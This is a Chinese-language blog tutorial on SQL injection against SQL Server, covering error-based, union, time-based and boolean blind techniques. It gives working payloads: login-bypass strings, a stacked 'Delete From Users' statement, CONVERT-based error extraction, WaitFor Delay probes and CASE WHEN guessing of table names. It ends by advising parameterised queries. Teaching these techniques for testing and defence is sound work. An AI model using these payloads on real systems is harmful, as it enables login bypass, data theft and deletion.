在 OWASP Top 10 - 2017 之中,Injection 還是在排在第一位,可見 Injection 所帶來的影響很大。
本文將跟大家介紹 Explicit / Blind SQL Injection 以及一些 SQL 常見的手法。
首先,先來了解一下 SQL Injection
當 URL 為 http://www.mysite.com/product?id=1 時,
會對應到 SQL 為 SELECT * FROM Product WHERE Id = 1,
當中不信任的資料為 id 的參數值 1。
所以當我們把 URL 改成 http://www.mysite.com/product?id=1 or 1=1
程式如果沒驗證的話,SQL 就會變成 SELECT * FROM Product WHERE Id = 1 or 1=1,
要讓 SQL 發生錯誤,最簡單的就是將字串轉成 int ,自然就會發生錯誤,例如,
Select Convert(int, 'a');
要取得一筆資料可以使用 Top 1 ,而要依序則需要使用 Order ,如下,
Select Top 1 UserID, Email From Users Order By Email;
那如果要取得第2筆資料呢? 改成 Top 2 嗎?
Select Top 2 UserID, Email From Users Order By Email;
但是 第一筆還是 admin@gss.com.tw 而不是 cindy@gss.com.tw ,
那要如何第一筆才會變成 cindy@gss.com.tw 呢?
…
就是再把資料反過來排一次。
把上面的 SQL 當成是 Sub-Query 再 Order By Desc 取 Top 1 就可以。
Select Top1 UserID, Email From ( Select Top 2 UserID, Email From Users Order By Email ) T1 Order By Email Desc;
有了上面的 SQL 小技巧,就可以加入 SQL Injection 的測試之中,
而SQL Injection attack 包含 2 種類型
1.1.Error-base: 透過錯誤訊息來顯示資料,例如 輸入 ' 後,系統直接顯示 SQL 的原生錯誤訊息
1.2.Union-base: 增加額外的資料輸出,例如 登入功能輸入 ' or '9' = '9 就可以登入,或是有些查詢功能中,使用 union 加入其他的資料讓它顯示出來
在測試有沒有 SQL Injection ,通常會輸入一個單引號,來看看它會不會出現錯誤,如下,
從上面所發生出來的錯誤訊息可以得知,它的登入 SQL 為 SELECT * FROM Users Where Email = '{email}' and Password = '{password}' Order By Email Desc
會有 SQL Injection 的問題,所以我們可以調整的 SQL 如下,
SELECT * FROM Users Where Email = '{email}' and Password = '這裡是我們可以Hack的地方' Order By Email Desc
所以要如何讓不知密碼也可以通過 Query 呢?
SELECT * FROM Users Where Email = '{email}' and Password = '' or ''='' Order By Email Desc
所以 Password 欄位可以使用 ' or ''=' 或是 ' or '1'='1 等.
當然,也可以串一些 insert , update & delete 的 SQL ,例如,
SELECT * FROM Users Where Email = '{email}' and Password = ''; Delete From Users --' Order By Email Desc
因為程式會將原生的錯誤訊息顯示出來,所以可以利用這種方式來取出我們想要的資料,
例如要取得 Email ,則可以依上面的 SQL ,再將它轉成 int 就可以順著錯誤訊息來讓我們知道了,如下,
SELECT * FROM Users Where Email = 'rm@gss.com.tw' and Password = '' + CONVERT(INT, '[' + (SELECT Top 1 A2.Email From ( SELECT Top 2 A1.Email FROM Users A1 Order By A1.Email ) A2 Order By A2.Email Desc) + ']') --'
2.1.Time-base: 依輸入資料而花費等待時間才輸出結果, 例如 輸入 WaitFor Delay '00:00:10' 則會多花費 10 秒
2.2.Boolean-base: 依輸入的資料給出不同的輸出結果,例如 輸入 A 會發生錯誤,輸入 B 則正常
前面的範例是很明確讓我們知道它有 SQL Injection 的問題,有些狀況下,雖然它有 SQL Injection 的問題,但它只會跳到錯誤處理畫面去,會讓我們不知是不是 SQL Injection 的問題,這種就叫作 Blind SQL Injection 。
例如系統的 URL 為 Product/Detail?ProductID=13&orderBy=UserID ,
會正常的顯示資料,但如果將 UserID 改成 UserIX ,則會發生錯誤。
所以可以假設它的 SQL 為
SELECT * FROM Votes Where ProductID = 13 Order By UserID
當 UserID 改成 UserIX 就會發生錯誤。因為 SQL 就會變成如下,
因為排序欄位錯誤,只是我們無法看到明確的錯誤訊息,所以只能用猜的。
為了更清楚是否有 SQL Injection 的問題,可以再把 URL 改成 Product/Detail?ProductID=13&orderBy=UserID,2 ,
這時程式可以正常運作,但如果將它改成 roduct/Detail?ProductID=13&orderBy=UserID,a ,則會發生錯誤。
這表示 SQL 分別為,
SELECT * FROM Votes Where ProductID = 13 Order By UserID,2 SELECT * FROM Votes Where ProductID = 13 Order By UserID,a
要測試它是否有 SQL Injection 的問題,就可以在 URL 後再加入 WaitFor Delay ,如下,
Product/Detail?ProductID=13&orderBy=UserID;WaitFor Delay '00:00:05';–
系統的執行時間也跟著增加 5 秒,那它就有 SQL Injection 的問題。
知道它有 SQL Injection 的問題,所以後面就可以再組一些 SQL 去讓它執行。
即然知道它是 Blind SQL Injection ,所以可以透過程式會不會出錯來達到用猜的方式來猜出資料,
例如假設我們要查詢資料庫中的資料表名稱,則可以透過 Case When (要猜的SQL) Then 1 Else (出錯的SQL) End 的方式來達到。
SELECT * FROM Votes Where ProductID = 13 Order By UserID , case when (SELECT Top 1 substring(A2.name, 1, 1) From ( SELECT Top 1 A1.name FROM sys.tables A1 Order By A1.name ) A2 Order By A2.name Desc) = 'p' then 1 else convert(int, 'x') end;
而URL則為 Product/Detail?ProductID=13&orderBy=UserID, case when (SELECT Top 1 substring(A2.name, 1, 1) From ( SELECT Top 1 A1.name FROM sys.tables A1 Order By A1.name ) A2 Order By A2.name Desc) = 'p' then 1 else convert(int, 'x') end;
如果第一個資料表名字的第一個字母為 p 就不會錯誤,不對的話,就會發生錯誤。
它的比對邏輯蠻簡單的,所以通常可以透過程式來測試,如果猜對了,程式就不會出錯,猜錯了,程式就會發生錯誤,最後就可以將所需要的資料全都猜出來。
以上透過簡單的範例說明,介紹了如何透過 Error 來顯示錯誤的資訊,及 Blind SQL Injection 透過用猜的方式來取得我們要的資訊。 如果再加以組合之後,更可以猜出資料庫的 Database Name, Table Name, Column Name ,然後透過 Error 的方式來將 Table 的資料顯示出來。 系統的需求很多種,所以在存取資料庫時,請注意 SQL Script 請勿使用串接字串及串接參數值的方式。
When you subscribe to the blog, we will send you an e-mail when there are new updates on the site so you wouldn't miss them.
評論